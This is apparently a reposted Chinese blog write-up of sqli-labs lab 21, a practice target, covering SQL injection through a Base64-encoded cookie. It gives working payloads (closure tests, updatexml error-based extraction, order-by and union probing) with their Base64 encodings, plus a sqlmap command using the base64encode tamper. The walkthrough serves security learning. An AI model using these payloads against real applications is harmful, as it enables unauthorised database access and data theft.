文章总结: 本文详细拆解了SQL注入靶场第21关,重点分析Cookie中Base64编码注入与字符集冲突问题。通过解决GBK与Latin1字符集不匹配报错,确定需将Payload进行Base64编码。成功验证了布尔盲注、报错注入及联合查询,并使用sqlmap的base64encode脚本辅助测试。文章强调了理解数据解码与执行流程在渗透测试中的重要性。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具





)
admin' base64编码后为 YWRtaW4n
可以看到编码后的数据可以引起报错:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”admin”) LIMIT 0,1′ at line 1
从报错信息可以看到闭合符号中有括号参与,于是直接构造
admin') Base64编码后YWRtaW4nKSA=admin') or 1=1 # base64编码后YWRtaW4nKSBvciAxPTEgIw==
可以看到or为真的条件没有引入语法错误,能够正常登录成功,说明语法闭合正确。
当然我们可以用and来进一步验证
admin') and 1=1 # base64编码后YWRtaW4nKSBhbmQgMT0xICM=admin') and 1=2 # base64编码后YWRtaW4nKSBhbmQgMT0yICM=
可以看到1=1能够正常登录,1=2条件登录失败。可以得出结论闭合符号为单引号+括号。
因页面有明显登录成功和失败两种差别,可以判断有布尔盲注,自然也就有了时间盲注。
再判断是否有XPATH显错注入:
admin') and updatexml(1,concat(0x7e,database(),0x7e),1) #base64编码后为YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAj
可以看到有XPATH数据显示,明显判断有显错注入。
基于好奇,我想看看是否有union等注入,于是我先手动测试查询位
admin') order by 1 # base64编码后为 YWRtaW4nKSBvcmRlciBieSAxICM=admin') order by 2 # base64编码后为 YWRtaW4nKSBvcmRlciBieSAyICM=admin') order by 3 # base64编码后为 YWRtaW4nKSBvcmRlciBieSAzICM=admin') order by 4 # base64编码后为 YWRtaW4nKSBvcmRlciBieSA0ICM=
可以看出查询列数共3列。于是看看是否有显示位可以利用。
通过实验可以得知,可利用union查询,显示位为1,并能够成功注入显示数据库信息。
这也从侧面印证了: 第 21 关的核心 SQL 语句仍然是 SELECT,而非前几关的 INSERT,因此 UNION 查询依然可行。
#
四、再次利用sqlmap来验证。
这里需要注意的是,在sqlmap参数输入的时候,需要添加–tamper “base64encode.py”
python sqlmap.py -u "http://192.168.68.172:8080/Less-21/index.php" --cookie="uname=YWRtaW4=" --tamper "base64encode.py" --level=2 --risk=2 --batch
#
可以看到
sqlmap跑出来的结果和我们前面判断一致:boolean-based blind、error-based、time-based blind、UNION query。
#
结语:
第 21 关给我的最大收获,并不是“Base64 编码本身”,而是让我第一次真正意识到:
SQL 注入并不是简单的“拼 payload”,而是一场关于数据形态、编码方式和执行顺序的博弈。
在这一关中:
- Base64 编码隐藏了真实输入
- 字符集规则阻断了直接注入
- 只有理解 解码 → 比较 → 执行 的完整流程,才能继续推进
这也是我在学习 sqli-labs 过程中,第一次明显感觉到: 思路比工具重要,理解比套路重要。
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安《当 SQL 注入遇上 Base64 和字符集:sqli-labs 第 21 关深度拆解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论